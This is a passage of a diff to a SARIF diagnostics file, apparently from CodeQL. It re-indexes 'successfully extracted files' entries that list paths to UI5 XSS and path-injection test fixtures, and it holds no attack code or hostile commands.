               "uriBaseId" : "%SRCROOT%",
               "index" : 154
             }
@@ -7095,7 +7069,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -7107,7 +7081,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api1/webapp/control/xss.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/webapp/manifest.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 155
             }
@@ -7121,7 +7095,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -7133,7 +7107,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api1/webapp/controller/app.controller.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/webapp/view/app.view.xml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 156
             }
@@ -7147,7 +7121,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -7159,7 +7133,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api1/webapp/index.html",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-html-control-df/package-lock.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 157
             }
@@ -7173,7 +7147,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -7185,7 +7159,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api1/webapp/index.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-html-control-df/package.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 158
             }
@@ -7199,7 +7173,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -7211,7 +7185,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api1/webapp/manifest.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-html-control-df/ui5.yaml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 159
             }
@@ -7225,7 +7199,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -7237,7 +7211,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api1/webapp/view/app.view.xml",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-html-control-df/webapp/controller/app.controller.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 160
             }
@@ -7251,7 +7225,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -7263,7 +7237,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api2/package-lock.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-html-control-df/webapp/index.html",
               "uriBaseId" : "%SRCROOT%",
               "index" : 161
             }
@@ -7277,7 +7251,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -7289,7 +7263,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api2/package.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-html-control-df/webapp/index.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 162
             }
@@ -7303,7 +7277,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -7315,7 +7289,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api2/ui5.yaml",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-html-control-df/webapp/manifest.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 163
             }
@@ -7329,7 +7303,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -7341,7 +7315,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api2/webapp/control/xss.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-html-control-df/webapp/view/app.view.xml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 164
             }
@@ -7355,7 +7329,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -7367,7 +7341,33 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api2/webapp/controller/app.controller.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/avoid-duplicate-alerts/XssTest.js",
+              "uriBaseId" : "%SRCROOT%",
+              "index" : 0
+            }
+          }
+        } ],
+        "message" : {
+          "text" : ""
+        },
+        "level" : "none",
+        "descriptor" : {
+          "id" : "js/diagnostics/successfully-extracted-files",
+          "index" : 1,
+          "toolComponent" : {
+            "index" : 3
+          }
+        },
+        "properties" : {
+          "formattedMessage" : {
+            "text" : ""
+          }
+        }
+      }, {
+        "locations" : [ {
+          "physicalLocation" : {
+            "artifactLocation" : {
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/.eslintrc.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 165
             }
@@ -7381,7 +7381,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -7393,7 +7393,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api2/webapp/index.html",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/package-lock.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 166
             }
@@ -7407,7 +7407,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -7419,7 +7419,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api2/webapp/index.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/package.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 167
             }
@@ -7433,7 +7433,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -7445,7 +7445,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api2/webapp/manifest.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/ui5.yaml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 168
             }
@@ -7459,7 +7459,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -7471,7 +7471,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api2/webapp/view/app.view.xml",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/Component.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 169
             }
@@ -7485,7 +7485,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -7497,7 +7497,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-jquery/package-lock.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/controller/App.Controller.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 170
             }
@@ -7511,7 +7511,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -7523,7 +7523,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-jquery/package.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/controls/Book.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 171
             }
@@ -7537,7 +7537,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -7549,7 +7549,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-jquery/ui5.yaml",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/index.html",
               "uriBaseId" : "%SRCROOT%",
               "index" : 172
             }
@@ -7563,7 +7563,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -7575,7 +7575,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-jquery/webapp/control/xss.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/manifest.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 173
             }
@@ -7589,7 +7589,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -7601,7 +7601,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-jquery/webapp/controller/app.controller.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/model/todoitems.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 174
             }
@@ -7615,7 +7615,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -7627,7 +7627,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-jquery/webapp/index.html",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/integration/AllJourneys.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 175
             }
@@ -7641,7 +7641,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -7653,7 +7653,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-jquery/webapp/index.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/integration/FilterJourney.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 176
             }
@@ -7667,7 +7667,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -7679,7 +7679,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-jquery/webapp/manifest.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/integration/SearchJourney.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 177
             }
@@ -7693,7 +7693,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -7705,7 +7705,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-jquery/webapp/view/app.view.xml",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/integration/TodoListJourney.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 178
             }
@@ -7719,7 +7719,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -7731,7 +7731,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-property-sanitized/package-lock.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/integration/arrangements/Startup.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 179
             }
@@ -7745,7 +7745,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -7757,7 +7757,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-property-sanitized/package.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/integration/opaTests.qunit.html",
               "uriBaseId" : "%SRCROOT%",
               "index" : 180
             }
@@ -7771,7 +7771,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -7783,7 +7783,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-property-sanitized/ui5.yaml",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/integration/opaTests.qunit.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 181
             }
@@ -7797,7 +7797,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -7809,7 +7809,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-property-sanitized/webapp/control/xss.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/integration/pages/App.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 182
             }
@@ -7823,7 +7823,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -7835,7 +7835,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-property-sanitized/webapp/controller/app.controller.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/testsuite.qunit.html",
               "uriBaseId" : "%SRCROOT%",
               "index" : 183
             }
@@ -7849,7 +7849,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -7861,7 +7861,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-property-sanitized/webapp/index.html",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/testsuite.qunit.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 184
             }
@@ -7875,7 +7875,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -7887,7 +7887,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-property-sanitized/webapp/index.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/unit/AllTests.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 185
             }
@@ -7901,7 +7901,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -7913,7 +7913,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-property-sanitized/webapp/manifest.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/unit/controller/App.controller.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 186
             }
@@ -7927,7 +7927,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -7939,7 +7939,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-property-sanitized/webapp/view/app.view.xml",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/unit/unitTests.qunit.html",
               "uriBaseId" : "%SRCROOT%",
               "index" : 187
             }
@@ -7953,7 +7953,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -7965,7 +7965,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-sanitized/package-lock.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/unit/unitTests.qunit.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 188
             }
@@ -7979,7 +7979,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -7991,7 +7991,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-sanitized/package.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/util/Helper.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 189
             }
@@ -8005,7 +8005,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -8017,7 +8017,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-sanitized/ui5.yaml",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/view/App.view.xml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 190
             }
@@ -8031,7 +8031,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -8043,7 +8043,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-sanitized/webapp/control/xss.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api1/package-lock.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 191
             }
@@ -8057,7 +8057,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -8069,7 +8069,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-sanitized/webapp/controller/app.controller.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api1/package.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 192
             }
@@ -8083,7 +8083,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -8095,7 +8095,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-sanitized/webapp/index.html",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api1/ui5.yaml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 193
             }
@@ -8109,7 +8109,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -8121,7 +8121,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-sanitized/webapp/index.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api1/webapp/control/xss.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 194
             }
@@ -8135,7 +8135,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -8147,7 +8147,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-sanitized/webapp/manifest.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api1/webapp/controller/app.controller.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 195
             }
@@ -8161,7 +8161,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -8173,7 +8173,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-sanitized/webapp/view/app.view.xml",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api1/webapp/index.html",
               "uriBaseId" : "%SRCROOT%",
               "index" : 196
             }
@@ -8187,7 +8187,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -8199,7 +8199,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/package-lock.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api1/webapp/index.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 197
             }
@@ -8213,7 +8213,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -8225,7 +8225,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/package.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api1/webapp/manifest.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 198
             }
@@ -8239,7 +8239,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -8251,7 +8251,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/ui5.yaml",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api1/webapp/view/app.view.xml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 199
             }
@@ -8265,7 +8265,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -8277,7 +8277,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/webapp/controller/app.controller.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api2/package-lock.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 200
             }
@@ -8291,7 +8291,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -8303,7 +8303,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/webapp/index.html",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api2/package.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 201
             }
@@ -8317,7 +8317,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -8329,7 +8329,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/webapp/index.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api2/ui5.yaml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 202
             }
@@ -8343,7 +8343,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -8355,7 +8355,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/webapp/manifest.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api2/webapp/control/xss.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 203
             }
@@ -8369,7 +8369,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -8381,7 +8381,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/webapp/view/app.view.xml",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api2/webapp/controller/app.controller.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 204
             }
@@ -8395,7 +8395,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -8407,7 +8407,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control/package-lock.json",
